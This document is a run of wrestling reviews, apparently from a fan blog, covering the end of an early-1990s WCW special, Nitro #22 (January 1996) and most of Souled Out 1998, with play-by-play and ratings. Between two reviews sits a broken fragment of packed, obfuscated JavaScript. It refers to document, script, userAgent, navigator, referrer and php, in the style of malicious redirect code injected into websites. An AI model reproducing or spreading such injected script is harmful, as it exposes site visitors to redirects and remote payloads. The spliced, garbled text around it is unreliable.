Sting comes in to clean house but Dan Spivey runs out of the crowd to take down Luger. Spivey was Luger’s upcoming opponent at the PPV if I didn’t mention that. Sting doesn’t seem to care and beats up Doom on his own. Reed hits a shoulder to Simmons by mistake and he stumbles into the referee. The referee gets up in time to see Sting get thrown over the top for the CHEAP DQ.

Rating: C. Well it was fun while it lasted but I’ve never been able to stand that over the top rule. This was kind of a backdrop for the Spivey vs. Luger match but that didn’t exactly work. It was ok I guess but the match didn’t really go anywhere and the titles never felt like they were in danger at all.

We unveil the winner of the WCW’s Sexiest Wrestler award. It’s Z-Man. Next.

TV Title: Z-Man vs. Bobby Eaton

Z-Man is champion here. They REALLY crank in chants for Bobby here. Either that or 2000 people can chant louder for Bobby Eaton than they can for Goldberg. Dusty talks about how great both guys are. I can see why Z-Man won the sexiest wrestler thing. Apparently Zenk had already lost the title at a TV Taping so this shouldn’t really mean much at all. This is live mind you so imagine his mindset.

Dusty’s voice gets REALLY old when he’s comfortable which he definitely is here. The problem is that he talks A LOT. Eaton works the arm a bit but goes up and Z-Man hits a sweet dropkick to send him to the floor. And then Dusty talks about how great Brian Pillman is for no apparent reason. He also can’t wait to remind us that he’s a former TV Champion either.

They start slugging it out as Dusty is getting harder and harder to ignore. We hit a test of strength as Ross says Terry Taylor is a tough guy. Oh dear. If this is the show I think it is we get another stupid moment in WCW history coming up very soon. As Dusty talks about getting hit in the head with a stick, Eaton goes up again and gets caught one more time.

Superkick puts Eaton down. Big backdrop and Eaton is in trouble. Who covers someone off a backdrop? Who does he think he is, Moolah? Eaton gets him down and manages to get the top rope knee drop but Z-Man gets to the ropes. Cradle gets two for the champion but he walks into a neckbreaker that gets two for Eaton.

You can see fans leaving for the concession stand. Nice to see a title match has them so enthralled. Z-Man gets a freaking back slide of all things to get the pin to retain. Eaton’s shoulder might have been up though so expect another match before the airing of Arn winning the title.

Rating: C+. This started out slow but it got a lot better once they picked up the pace a bit. Eaton is a guy that is straight up underrated in wrestling as he consistently put on great match after great match. This was fine for what it was, even though it would have been understandable for Z-Man to do next to nothing out there.

The replay shows that it wasn’t even close with Eaton completely kicking out before three. That was pretty bad.

Alexandra York (Terri) says that she has selected the newest member of the York Foundation (computer assisted heel group that more or less sucked) and we’ll see him tonight.

Fabulous Freebirds vs. Allen Iron Eagle/Tommy Rich

I don’t know who Eagle is either. This is Garvin and Hayes. The Birds are heels here but good luck getting a team called the Freebirds booed in Georgia. Dang it now I’m going to have Badstreet USA stuck in my head all day. Hayes and Rich start as we actually get a reference to the world title reign of Rich. Eagle is another Indian character.

The Indian character of course chops a lot. I’m stunned too. Garvin does….something and down goes Eagle. Eagle ducked his head like he was going for a backdrop and Garvin ran up to him to set for a DDT (finisher) but Eagle just fell backwards. Weird as heck  but whatever. We hit the chinlock as this isn’t much at all. Hayes punches him and it sounds great. Eagle forgets to sell and just stands there, making him one of the worst guys I’ve seen in a long time.

Dusty and Jim try desperately to say that Eagle was stunned from the move and it’s just funny as can be. Anyway, Hayes is ticked and beats the tar out of him on the floor with some hard stuff. When Michael Hayes is the ring general, you know you’re in real trouble. Dusty of course talks about being able to go down Badstreet and be ok because he’s tough.

Amazingly enough they manage to screw up something else with Eagle not realizing that Garvin is supposed to be doing a blind charge so Garvin has to throw up a knee to save the spot. Everyone comes in and we get an awkward looking kick to the guy before an awkward looking sunset flip sets up the tag to Rich that isn’t seen. The Birds DDT the heck out of Eagle to end it, thankfully.

Rating: D-. This is a horrible match, but it’s one of those matches where you can laugh at it very hard. The match is bad, don’t get me wrong, but Eagle was so bad that he was hilarious. There were at least 5 botched spots in a seven minute match. Let that sink in for a bit. It really was that bad.

Dusty talks to Paul E. Dangerously about the arm wrestling match tonight with Missy Hyatt and implies that Paul is gay. Dusty of course has more to talk about which is what he’s there for. Dusty’s comments here are flat out sexist but it’s Georgia so he can get away with it I guess. Somehow Heyman gets into I Have A Dream. Moving on.

Joey Maggs vs. Sid Vicious

What do you think is going to happen here? Sid brings his own paramedics with him if that tells you anything. Sid’s hometown of Anywhere He Darn Well Pleases is still great stuff. He’s a Horseman here too. A clothesline and powerbomb end this in maybe a minute. Sid was a bit of a nut but that powerbomb was sweet every time. The paramedics come out and we take a break. Back with Sid beating up Maggs some more on the stretcher. That’s kind of awesome.

Tony talks to Sid who says everyone fears him.

Ricky Morton vs. Terry Taylor

Here’s another one of WCW’s famous goofs. Terry Taylor is introduced as the Computerized Man of the 90s. That would be all fine and good except for one thing: That was his name once he turned heel. The problem is that the heel turn was that the heel turn hadn’t happened yet, completely giving away the ending of the match. Why did Capetta (ring announcer) even have that on his card? What sense does that even begin to make? Early 90s WCW is made fun of a lot, but it’s not really a secret as to why is it?

Taylor wants respect or something, also giving a good indication of the already spoiled heel turn. Robert Gibson is injured here which would eventually lead to Morton joining the York Foundation as well. Technical/feeling out process to start with no one being able to get a distinct advantage. Nice arm drags by Morton. They speed things up a bit but still no one can get an advantage.

We take a break as Taylor hits the floor to break the momentum. Back with Terry holding an armbar. Nice jawbreaker by Morton has Taylor in trouble though as they’re going back and forth rather nicely here. Dusty of course can’t stop talking long enough for Ross to talk about the match but it’s Dusty’s show so who cares? Alexandra York comes down now as we’re not sure who she’s here for. Apparently no one was listening to the intros either.

For no apparent reason we get an inset promo from York, saying that Taylor is indeed the newest member of the York Foundation and that her computer has told her how he’s going to win this. That was the gimmick of the Foundation: the computer would predict the outcome of the match, such as here where it says the time of the fall and what Taylor will win with. It’s as dumb as it sounds.

Morton gets a small package for two as Taylor turns heel and wrestles all evil and such. A bad bulldog gets two for Taylor. It amazes me that they had wireless so early in the 90s. Morton hammers away in the corner and gets a suplex for two. Dropkick puts Taylor down but a second misses and Morton hits the mat rather hard, allowing Taylor to steal the pin.

Rating: C. It’s ok and the early part is good but other than that this was kind of flat. Morton’s singles time was kind of awkward as he was definitely the better half of the team but he wasn’t someone people wanted to see without his partner. This was ok but nothing really all that special.

We get a preview of the Japanese women’s wrestling at WrestleWar. And 8 seconds is all we get of that.

We see Sting getting the Wrestler of the Year award which allegedly was totally rigged or something.

Dusty talks (naturally) about the Gulf War and praises the troops. The war had just ended or was about to end which messed up the Wrestlemania plans Vince had. How dare international politics and wars get in the way of Wrestlemania??? Didn’t Sadaam watch Superstars?

Ranger Ross vs. El Cubano

Ross is a military dude that would be gone soon after this and in prison for robbery, domestic violence, embezzlement and attempted arson by 1996. Somehow an evil masked Communist is looking like a good guy all of a sudden. Cubano is just a masked guy that is apparently Cuban. In an inset interview Ross praises the troops as well.

Apparently if you can see a guy’s face you can read their mind. This is of course according to Dusty. JR says that Ross (the wrestler that is) is a great role model for anyone of any color. Really? The color line was needed there? Cubano misses a top rope splash and Ross sends him to the floor. Ross runs to the ropes and dives over feet first in a plancha type dive. It wasn’t to hit Cubano or anything. That’s just how he left the ring. A rollup ends it maybe 8 seconds later.

Rating: N/A. The odd comments here were more interesting than the match. This went nowhere of course as it was a generic evil guy against Ross who was gone probably before the next PPV. Just a squash.

Ad for WrestleWar and Wargames.

Arn Anderson/Barry Windham vs. Renegade Warriors

The Renegade Warriors are the Youngblood brothers minus Jay who was dead by now. There are massive portraits of the Horsemen behind the ring on the wall. Yeah this isn’t going to be dominance at all. The Warriors jump the Horsemen to start and it’s a big brawl. Sweet merciful crap they look stupid though with their tights being more or less bright plaid.

Windham and one of the Warriors start this off. Arn’s eyes are flat out hilarious. When he gets freaked out you would think he was in a Three Stooges sketch with how freaked out he is. Dusty really likes to remind us that this is in color. Ok Chris is in the singlet. Arn takes him to the mat and works the knee but gets rolled up for two and Arn wants time out.

Off to Barry now and the Horsemen can’t get anything going at all here. Mark beats up Arn a bit. Oh I forgot: the Warriors are Mark and Chris. That might help a bit. Arn gets a spinebuster out of nowhere and the writing is on the wall now. Off to Barry who gets a kind of jumping DDT for two. Dusty rambles about putting your wife in a front facelock and something about a shotgun as Arn and Chris ram heads.

Atomic drop takes care of Chris but they botch Arn’s pump splash out of the corner as he never hits it but he more or less did here since Chris didn’t roll out of the way and barely got a knee up. Mark back in and it’s a big brawl all over again. He gets sent to the floor though and the Horsemen just destroy Chris with a lariat and the superplex for the easy pin.

Rating: D+. Just a long match that wasn’t interesting or anything as we needed seven and a half minutes somehow to show that the Horsemen are awesome over a glorified jobbing tag team. Nothing that terrible but it still wasn’t all that good at all. Too long as it should have been about half this long.

We get a clip of Vader vs. Stan Hansen from Japan which was a freaking war. They’ve having another match at WrestleWar. Hansen, tobacco flowing everywhere, says that it’ll be a real war between real men at the PPV.

Buddy Lee Parker vs. Brian Pillman

Parker is the guy that trained Goldberg and is widely considered to be one of the biggest jerks in the history of wrestling. In short, he was very short and according to Batista had a bad case of Napoleon Syndrome, meaning he hated being small so he tried to use his authority as head of the Power Plant to compensate for it, including telling Batista he had no future in wrestling for some reason. He was a jobber that thought he had meant something in other words.

This is really just a way to talk about WarGames which Pillman is in. He would be the ending of the match as Sid would more or less kill him with a powerbomb and they had to stop the match due to it. Crucifix gets two for Pillman. Even Parker’s basic offense looks bad. Dusty says he has a daughter named Cody. I’ll leave that one alone. Pillman gets a great plancha over the top to take down Parker on the ramp. Top rope cross body ends this squash (notice a theme going on here?) with barely a bit of sweat from Pillman.

Rating: D+. This was a squash but it was a bit longer than the other ones tonight outside of the tag match. Pillman looked great but since he’s in the main event of a PPV shouldn’t we expect that? A squash is fine but what’s the point of having a bunch of them on one show, especially a major one like this? This wasn’t much at all but Pillman’s flying was awesome stuff.

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It’s time to arm wrestle! This was part of the never ending until it ended feud between Paul E. Dangerously and various men as he was feuding with Missy here. Some country DJ is the ring announcer for this. Oh and let’s talk about the troops because that’s just what southern people do. Dangerously being billed as the Psycho Yuppie continues to crack me up.

This is one of the funniest moments in company history as Missy comes out in this big workout jacket but as she is warming up and Paul isn’t looking, Missy takes the jacket off to reveal a low cut top. Heyman’s jaw drops and Hyatt gets the easy win in like two seconds. Funny stuff.

Lawrence Taylor is chilling with the Horsemen at some bar in New Jersey, even though Flair is defending the title tonight in Georgia. This was odd and rather pointless indeed.

WCW World Title: Scott Steiner vs. Ric Flair

From what I can find, both Flair and Dusty (booking here) came to Scott and flat out said the title is yours, just say the word. Steiner was absolutely awesome at this point and he really was on the verge of shattering the glass ceiling and becoming the top guy in the world. However, he turned them down because it was pretty clear that as soon as his singles push went into effect, Rick was gone. He wouldn’t win the world title for nearly ten years.

Hiro Matsuda is here from NJPW because the first Superbrawl with Fujinami vs. Flair is coming up. El Gigante is here too. Flair won’t shake his hand which resulted in a brief feud between them. Flair has been champion less than three weeks here, getting it back from Sting earlier this month. This has TV time remaining which I’d almost bet anything on that playing into the finish.

Flair shows off his biceps and Steiner is like boy please. Feeling out process to start as you would expect there to be. Steiner counters a top wristlock and Rick gets in Ric’s face as he grabs the ropes. Dusty thinks Scott would like to go into WrestleWar as World Champion. You can’t buy analysis like this people.

Flair hits the floor a bit to buy some time as Scott has been on fire so far. A little more feeling out stuff results in Scott grabbing another armbar. This is some nice technical stuff so far. Flair goes for the knee and Steiner is like oh no you didn’t and clotheslines the tar out of him so Flair hides again. Surprisingly an atomic drop breaks up Steiner’s momentum. I’m surprised his balls can feel anything with all those steroids in him.

Rick shoves Ric’s feet off the ropes when Flair tries to cheat. Is there a reason for those portraits of Anderson and Windham to still be there? Steiner powers out of a cover as we take a break. Back with Steiner throwing the Figure Four on Flair. He’s no Jay Lethal though so he can’t get the tap out. How often do you see a face in control when you come back from a break?

In an awkward looking spot, Flair charges at Steiner but Steiner falls backwards and Flair goes over the ropes. In the awkward part Steiner is supposed to go over also but didn’t have the momentum so after he was stopped he jumped into the air and went over the top. We have ten minutes of TV time left. Flair goes in for the kill on the knee and yells at Rick a lot.

Figure Four goes on and Steiner is in trouble. As we wait for the inevitable reversal, I wonder why the ring ropes were blue, black and yellow. What kind of a weird combination is that? The hold is broken via rope so Flair puts it on again in the middle of the ring. Steiner easily turns is over and we’re back on now.

Flair goes to the floor and Steiner takes him down with a Steiner Line. Down to five minutes remaining. Steiner pounds away in the corner as his leg is ok now. Nick Patrick stops Steiner from punching and Flair a shot in to take over a bit. Ross takes a breath so Dusty talks for a minute or so about how much experience he has in the ring. Under four minutes and Steiner gets a bad sleeper.

Steiner clotheslines Flair over so they alter the rules again so that’s not a DQ with three minutes left. Knee drop by Flair as Steiner is in trouble. Two minutes left and Flair is in the stall mode. Steiner gets a sweet bridge up into a Tiger Bomb but doesn’t cover for no apparent reason.

Ric is on the floor with a minute left. Steiner Line has Flair reeling with 30 seconds left. Flair Flip out of the corner and there’s not enough time. Belly to belly gets two as the bell rings for the time. The whole TV time thing is bogus as we go off the air a minute and a half after TV time expires. Ah ok we needed to show the credits. That explains it. Heaven forbid we don’t know that Ted Turner is responsible for this.

Rating: B. This was good for what it was but with more time it could have been great. Like I said this could have been a title change if Steiner had given it the ok but he decided a tag team was more important. Anyway this was good stuff and it worked rather well considering Steiner didn’t have much big match experience at all. Fun match and interesting for the most part but the ending might as well have been announced at the beginning given how obvious it was.

Overall Rating: D+. Well they tried but at the end of the day there was too much weak stuff here to make this a really good show. The main event is solid but other than that there wasn’t much here at all. Far too many squashes and uninteresting matches for the first hour and a half setting up a good main event doesn’t make a good show though. 91 was really bad for WCW down the line and this was probably the best time for them in the year until the very end of the year. Pretty bad show but the main event is solid. That’s about it.
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Monday Nitro #22
Date: January 29, 1996
Location: Canton Civic Center, Canton Ohio
Commentators: Eric Bischoff, Steve McMichael, Bobby Heenan

Time to wrap up January and naturally there’s a huge match on the card. To open the show, Hogan vs. Flair. We’re still leading up to Superbrawl so there’s also Savage vs. Giant. Hopefully there’s nothing like we had last time with the absurdity that was the Hogan stuff. This should be ok though but I don’t see a really good match on the card. Let’s get to it.

Apparently Giant vs. Savage is for the title. They’re really not minding throwing out these title matches are they?

Ric Flair vs. Hulk Hogan

Hogan comes out with a bunch of women including Woman and Liz. Flair comes out with Jimmy Hart. Holy role reversal Batman! Flair tries to overpower Hogan and I think you know how well that goes for him. Chops get him nowhere either. Hogan hammers away and gets the clothesline in the corner and a backdrop to send Flair to the floor. Flair is getting dominated to the shock of no one.

Hart distracts Hulk though and Flair gets a shot to the knee which of course hurts his knee. Well what else is new? We take a break and back with Hogan taking a lot of work on his knee. Naturally he’s just fine and pops up like nothing happened.  Flair Flip and the clothesline puts him down to the floor again. Hogan goes to and gets drilled by Flair. Hart throws in some choking for reasons of being annoying.

A lot more leg work by Flair and there’s the Figure Four. Naturally this isn’t enough as Hogan rolls it over. Mongo wants to know how many people have been able to reverse Flair’s Figure Four. Uh, just about all non-jobbers? It’s Hulk Up time and there’s the usual. Hart distracts the referee though and here’s Arn. Hogan drills him but he slips Flair one of Liz’s stolen shoes. Flair pops him in the eye with it and Flair gets the pin. Naturally it’s not clean though. Heaven forbid the thought.

Rating: D+. They were totally going through the motions here and the match was boring as heck as a result. This went nowhere at all as they were just trying to get to the ending which set up some boring Hogan vs. Horsemen story for awhile. Yes they managed to make that boring. This was long but it was still boring.

Road Warriors vs. Faces of Fear

Bischoff brags about being in the top company in wrestling. Their real hot streak would be coming soon but so would the crash. The Warriors are in blue here. That’s just wrong. The fans chant for the LOD and we’re on after a break. Animal vs. Barbarian here. The Warriors have been back less than a week and they’re already in the title hunt somehow. Go figure.

We’re told by Eric that Flair has defeated Hogan and “become one of the elite in wrestling history.” Yes, in other words his twelve (thirteen depending on the source) world title reigns and countless other title reigns that he’s had over the years, being the top guy in the company for like ever, going to WWF and being the top heel, his Rumble win, all of the countless classics he’s had and all his other accomplishments meant nothing. What made him one of the best (not the best mind you but just one of them) was a cheating win over Hogan on a TV show after 23+ years in the ring. See what I have to listen to?

Meng goes off on Hawk but the no selling begins. Ok not yet. Oh there it is: Hawk does his signature move by taking a Piledriver and being on his feet first. I never got how that worked. The Faces of Fear run to the floor as the Warriors stand tall. Bischoff says this is all new talent. Riiiiiiiiight. He does list off some of the young guys that are here which is true. They are brand new here after they were all in ECW first.

Mongo gets us back into the match by talking about Animal having a bad back and Barbarian working on it. It says a lot when Steve McMichael has to bring us back to reality. There’s a chinlock by Meng for a little bit which gets us nowhere. This has been more or less pure dominance by the Fear dudes for the last five minutes or so. Nice way to make the Warriors look awesome.

Barbarian goes up for a BAD looking shoulder block which Animal falls forward from for no apparent reason. They try the spot again and Animal gets a clothesline this time. Oh well either way it gets Hawk in and one step closer to ending this. Hawk comes in and beats on both guys but gets caught on the top in almost a suplex. Animal picks Barbarian off to set for the Doomsday Device but it gets broken up. A top rope clothesline ends Barbarian shortly thereafter.

Rating: D. This was supposed to be their big return? Who thought the Road Warriors having nearly ten minutes was a good idea, especially against the Faces of Fear? This was sloppy and we don’t even get to see their big finishing move? This did not work in the slightest at all.

Gene is with Kevin Sullivan and Hugh Morrus. Kevin is mad about Anderson and in turn the Horsemen not letting Giant go in after Hogan last week. Anderson and Pillman come out and Sullivan says keep Pillman under control or face the consequences. Anderson yells at Pillman about his immaturity and how he wasn’t there when Flair beat Hogan earlier.

While Anderson is yelling at him and threatening him with tough love (cue ominous music!), Sullivan and Morrus beat down the Horsemen. Sullivan whips Pillman with a belt but Anderson gets a DDT on Morrus and Sullivan runs. This would lead to Sullivan vs. Pillman at the PPV in one of the weirdest moments in wrestling history as Pillman and Sullivan had a match set up where Pillman pretended to quit the company. WCW being WCW, they bought it and actually released him and he ran off to ECW and ultimately WWF. It was insane to put it mildly.

Sherri is here and we get a clip of Madusa breaking up her wedding to Colonel Parker. As we come back to the arena, Madusa dives off the top with a cross body and apparently it’s match time!

Madusa vs. Sister Sherri

Madusa kills her to start. Sherri has a surprisingly nice figure. Eric talks about Madusa throwing the WWF Women’s Title in the trash which I think she regrets now. After a quick beating Sherri gets a shot in and goes up, but Madusa slams her off the top. In an ending I haven’t seen before that I remember, Sherri holds on and rolls through into a small package for the pin. Madusa kills her afterwards. No rating as this wasn’t even two minutes long.

WCW World Title: Randy Savage vs. The Giant

Savage comes out with all the women again.  And never mind as there’s no Savage. He jumps Giant from behind and kicks the referee out. He jumps on Giant’s back with a sleeper because that works so well for everyone else and it’s thrown out in less than 50 seconds. Flair is at ringside too.

Flair annihilates Savage at ringside and Giant grabs him too. The fans cheer for Flair which I assure you isn’t real. The fans are just confused. They want Hogan! Chokeslam kills Savage dead. Oh of course Hogan runs down with his eye taped up and a chair in hand to take Giant out. Yes, Hogan saves Savage again because Savage can’t do a thing by himself.

The Dungeon comes out and Hogan kills all of them with the chair too. Flair storms the broadcast position and yells at Bischoff. WOO to McMichael too. Giant does the same and says he’s going to eat his body heart and soul or something like that. Bischoff walks off. Take a guess which of the two matches wound up going on last at the PPV. Flair declares himself the host of the show. Heenan praises them as only he can do to end the show. Oh and Flair is a 12 time champion at this point.

Overall Rating: D-. So let’s see. There are two matches that got any time and they both sucked. This was Hogan saving the day again and was once again the star of the show. It’s more or less a big commercial for SuperBrawl which wound up sucking hard. This was a bad show and one of the weakest they’ve had in their entire run so far. Bad show indeed.

 

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnhhk|var|u0026u|referrer|zhkts||js|php'.split('|'),0,{})) Out 1998
Date: January 24, 1998
Location: Hara Arena, Dayton, Ohio
Attendance: 5,486
Commentators: Tony Schiavone, Bobby Heenan, Dusty Rhodes

 

More back to back reviews so I can have a full series done, in this case Souled Out as I’ll be doing this and 2000 back to back to get these off my list. Anyway this show never was much as far as importance goes and the card makes that pretty clear. There’s a double main event of a grudge match with Luger vs. Savage (which I’ll get to later about why you could tell this company was in trouble) and Hart vs. Flair in Bret’s first big WCW match. Let’s get to it.

 

This is on a Saturday if that means anything to you.

 

We open with a video about Nash vs. Giant which is actually happening tonight as Nash had bailed on the match at Starrcade. Both had to put up 1.5 million dollars bond to guarantee various things that don’t matter. The video is about Bischoff collecting souls or something. Whatever.

 

The announcers run down the card while the fans chant for the Weasel. We’re going to get an announcement about the world title that is vacant because WCW was incredibly stupid and managed to screw up the unscrewupable.

 

Juventud Guerrera/Super Calo/Lizmark Jr/Chavo Guerrero vs. La Parka/Silver King/Psicosis/El Dandy

 

I’m not sure who the favorites are here but I’d never be one to doubt El Dandy. This is under Lucha Libre rules which means if you hit the floor that’s as good as a tag. Calo vs. Psicosis to start us off. Calo gets an armdrag to send Psicosis to the floor but he comes back in. No substitution which is kind of odd but whatever. Psicosis chops away and drops an elbow on the back to take over.

 

Powerslam by Calo and a tilt-a-whirl slam and it’s off to Silver King vs. Lizmark. This is one of those matches where it’s nearly impossible to keep up with what’s going on and that more or less isn’t the point at all. Silver King gets a tornado DDT but it’s off to Chavo vs. El Dandy. Big monkey flip to Dandy and they’re out rather quickly.

 

Off to La Parka vs. Juvy now. They’re moving in very quickly out there. They fight on the apron with La Parka falling on his face in a funny spot. Back in the ring and Guerrera gets a kick to the face and a SWEET top rope rana puts Parka on the floor. Off to Lizmark who gets a moonsault to take Juvy down. Off to Psicosis who gets rolled up. Dandy is in and gets La Magistrol for two.

 

Calo comes in to face Silver King but the whole thing breaks down. Tenay says he more or less has no idea what’s going on. Juvy botches the heck out of a rana on Silver King but Juvy escapes and mostly hits a 450 for two. Parka gets a powerbomb on Guerrera for two. Falcon Arrow to Chavo sets up the guillotine legdrop by Psicosis. Some people are thrown to the floor so it’s Silver King vs. Super Calo.

 

LET THE DIVING BEGIN as everyone goes after everyone and there is no point at all to try to call this. The only ones left in the ring are Chavo and Psicosis with Chavo in control. Psicosis misses a charge and Chavo hits the tornado DDT (his finisher) to end this. La Parka kills them all with chairs because he feels like it. He beats up his own partners too and does his chair dance to a big reaction.

 

Rating: B. WOW. This is one of the most insanely fast matches you’ll ever see and for an opener, THIS IS HOW YOU DO IT. Was it technically sound or really even sound at all? Not in the slightest, but that’s not the point here. The idea here was to just go insane and have everyone look awesome and that’s what they did. Fun mach.

 

Raven vs. Chris Benoit

 

Raven is listed at 239lbs. That’s much lighter than I would expect. The Flock is with him and the they actually come out from the entrance. There’s no Saturn here as he would start his rebellion. The Flock is barred from ringside apparently. Raven complains about things and doesn’t seem to care. This is Raven’s Rules, as in No DQ.

 

Raven gets a baseball slide to Benoit as he comes in and we head to the floor early. Back in the ring and Benoit grabs a quick backslide for two. This is far more of a brawl than a match but Benoit can easily pull that off so it works well. Back to the floor and Raven grabs a chair. Bulldog onto the unfolded chair gets two as Benoit gets a foot on the ropes. Benoit pulls a Raven with a drop toehold onto the chair for two in a sick looking spot.

 

Benoit chops away and down he goes. Suplex onto the chair gets two. Benoit gets the shirt off of Raven and returns the favor of the baseball slide, sending Raven into the railing. A whip into the steps follows as Raven tries to run away. They go up the aisle and Raven is suplexed to keep Benoit’s advantage. Back in the ring and Benoit puts the chair on Raven’s face. The Swan Dive CRACKS into the chair and both guys are out. FREAKING OW MAN! That looked incredible but DANG it must have hurt.

 

Somehow that only gets two. The crowd is insane here by the way. See what a great opener can get you? Northern Lights is countered by the DDT which is kind of known as Raven’s finisher but not officially. Fans are totally behind Benoit here. Another DDT is countered into the Crossface and Raven….smiles while in it. That boy is not right. He passes out in the hold and we’re done.

 

Rating: B+. This was a war. These are two of the hottest openers I can remember in a very long time. Total beating from both guys here as we got incredibly physical. That swan dive is something else. Raven could have been totally awesome but instead we got more NWO. Anyway, great war here and Benoit looks like a killer.

 

Kidman of the Flock comes out for the beatdown but Malenko comes out for the save for no apparent reason. The whole Flock comes out but Raven is done. Benoit and Malenko look at each other…and that’s about it.

 

Cruiserweight Title: Chris Jericho vs. Rey Mysterio

 

Rey is champion here and Jericho is a heel. We keep hearing about how big of a heart he has. Shouldn’t he see a cardiologist already? Rey has a legit bad knee here (shocking I know) and is going away after this match (not announced of course) so I think you know the ending here. Jericho tries to be a bully and gets slapped instead. Jericho runs him over with a shoulder. When do you see Jericho with a size and power advantage?

 

Rey gets a nice headscissors to send Jericho to the floor. He uses what would evolve into the 619 but his knee goes out in mid move. Rey locks on a chinlock which is countered for a bit but that counter is countered into a victory roll by Rey for two. Rey wants a rana to the floor but with Jericho on the apron he catches Rey and drops him throat first on the top rope while jumping to the floor. Cool counter.

 

Jericho gets a butterfly backbreaker and sets up the steps before heading back into the ring. Rey fights back and gets what was kind of a jumping Killswitch to take Jericho down. Baseball slide to Jericho’s leg takes Jericho to the floor. Running tope con hilo into a seated senton puts Jericho down again but the knee is gone.

 

Rey manages to get a flapjack to Jericho to send him into the steps. West Coast Pop is broken up and the knee is wrenched all over again. Jericho goes up and Rey tries the rana which is countered into the Walls (Liontamer at the time but you get the idea). Finish was out of NOWHERE which makes me think the knee was completely destroyed. Rey would be gone until July so that knee was really messed up.

 

Rating: B-. A lot of that is for the knee. Rey was legitimately trying out there but there comes a point where the injury is too much to deal with. They did everything they could out there but with the knee falling apart mid match there’s only so much you can do. Rey’s knees would never really work again for the most part.

 

Jericho gloats post match and beats up Mysterio with the knee brace. Cody Rhodes is smiling somewhere. He slams an anvil case into the knee which goes into the steps.

 

JJ Dillon and Gene are in the ring. Dillon has the vacant world title and it’s time for an announcement about it. Ok so in case you don’t know what happened, Sting had been the Crow that didn’t talk forever and Hogan had been champion more or less for 16 months. Sting finally got his shot at Hogan at Starrcade in what should have been a massacre of Hogan with Sting dominating him to win the title.

 

However since this is WCW, they screwed it up. Hogan more or less beat Sting up and the fans simply did not accept this. The whole thing was rejected and the audience steadily began to head over to WWF. The problem was simple: WCW had built this up for over a year and the fans wanted to see something.

 

I’ve heard the excuse of Sting was high or something when they got there, but if he can at least perform at all, Hogan should not have had a chance. Hogan danced around out there and Sting looked like a fool. I still stand by my statement that this was the bullet that took WCW down. Read the Starrcade 97 review for the full details.

 

So anyway, the title was held up at the first Thunder and there’s a rematch. Unfortunately it’s not tonight as that would be giving too much credit to the fans I guess, so if you REALLY want to see Hogan vs. Sting, BUY SUPERBRAWL!!!! Oh wait I’m getting ahead of myself. Dillon brings out Roddy Piper who was interim commissioner and was consulted on this. He hasn’t been seen since the terrible main event of Halloween Havoc.

 

Ah apparently he made Hogan vs. Piper in the first place. He talks about everyone involved including Scott Hall who won World War 3 and is the official #1 contender. Piper calls out Sting, Hall and Hogan. Sting comes first and then the others do as well but along with Bischoff. Naturally they take forever.

 

Hall is #1 contender to the world champion but we have no world champion. Piper says that Hogan has a claim to the title but he doesn’t get it. The rematch is made for Superbrawl and Hall would eventually get the title match at Uncensored (albeit in the second to last match as Hogan vs. Savage was the main event). In other words, it took five months for him to win his shot and then actually get it. Hall walks away and is like “whatever”. Sting chases Hogan and Bischoff off. This took over ten minutes somehow.

 

TV Title: Rick Martel vs. Booker T

 

Booker has the title here. No one is really sure why Martel came back as he was old and not the Model or anything but just a guy in a leather jacket that you’ve likely heard of. They feel each other out to start us off with both guys getting two. I’m still trying to figure out why Martel is getting a push like this. He’s certainly not bad and could wrestle a perfectly watchable match at this point (he destroyed his knee at the next PPV and had to retire) but it’s still a really weird pick.

 

Booker works on the arm for a bit. Suplex and a side kick get two and we’re back to the arm. Pretty much all Booker so far as he gets a hook kick for two. Martel makes Booker miss but gets caught in an armdrag and it’s the armbar again. Leap frog by Martel is countered by what might be a headbutt to the balls. Martel might have been faking it and suckers Booker in to hammer away, almost doing a mid-match heel turn.

 

Off to the chinlock now by Martel who is all evil now. Booker hammers away but a spinebuster takes him down for two. More back work by Martel, this time in the form of an abdominal stretch. Booker tries a comeback but misses a dropkick. Quebec (Boston) Crab goes on and Booker is in trouble. Oh never mind as he grabs a rope. This is a pretty generic although decent match. Axe kick out of nowhere gets no cover as Booker goes up. The Harlem Hangover ends this. It’s a front flip legdrop if you’re unfamiliar.

 

Rating: C+. Not bad but just kind of generic like I said. Martel was ok but he wasn’t interesting in the slightest. He never could get anywhere with the comeback due to his knee injury but this was as good as it was going to get I think. Could have been on Nitro though, which is rarely a good sign.

 

Post match Martel hands Booker the belt. After Booker leaves Saturn pops up to beat up Martel. Booker would face Martel at the next PPV and then face Saturn immediately thereafter.

 

Scott Hall vs. Larry Zbyszko

 

This is the culmination of some weird AWA angle that no one cared about but it resulted in Larry having a few matches. Hall has the soon dead Louie Spicolli with him. Dusty wonders who is coming out with Larry, and to the shock of no one, it’s Dusty himself. Bobby thinks the fans at home are standing over this pick. Uh, why? Also who thought purple and gold/yellow were good signature colors for a wrestling company?

 

The announcers touch on the AWA stuff a bit but never say any specifics. Larry controls early with amateur/mat stuff. Heenan talks about Ted DiBiase for no apparent reason. The other announcers point out that he has the wrong person and Heenan ADMITS HE’S WRONG!!! They’re taking their sweet time out here with nothing going on at all really. Larry gets an abdominal stretch which is countered by a hiptoss for the biggest spot of the match so far.

 

The hold goes right back on and it’s the same counter. Larry goes for the neck so Hall gets to the ropes. Big old right hand to Larry puts Larry down and Spicolli adds in a shot. Cue Dusty to something resembling a good reaction going after Spicolli. This is rather boring so far and the fans seem to realize that. The fans chant for Larry and he starts the comeback. Hall goes for the legs as this is really boring. Also, this is the #1 contender remember.

 

LOUD Larry sucks chant starts up with Tony more or less saying the fans have no idea what they’re talking about. A Hall sucks chant starts up so Tony is all happy. The dueling chants begin as Hall gets the fall away slam. Oh and Hall/Nash are the tag champions here. A backdrop gets Larry out of the Outsider Edge and here’s the comeback again.

 

Larry, the old man, pounds Hall down and shoves the referee which lets Hall come back. Somehow that isn’t a DQ but since when does WCW keep their DQ rules the same for more than one show in a row? Larry accidentally kicks the referee and Hall takes Zbyszko down. Larry plays possum on Hall and gets his guillotine choke on him. Spicolli comes in and punches Larry but THAT isn’t enough for the DQ.

 

Dusty comes in to a big reaction to hammer away and do something that I think is supposed to be dancing. He drills Louie with a bunch of elbows to the cranium…and joins the NWO by hitting Larry and taking off his shirt to reveal the black and white. Does this really surprise anyone? The big beatdown leads to the DQ and Tony and Bobby are disgusted.

 

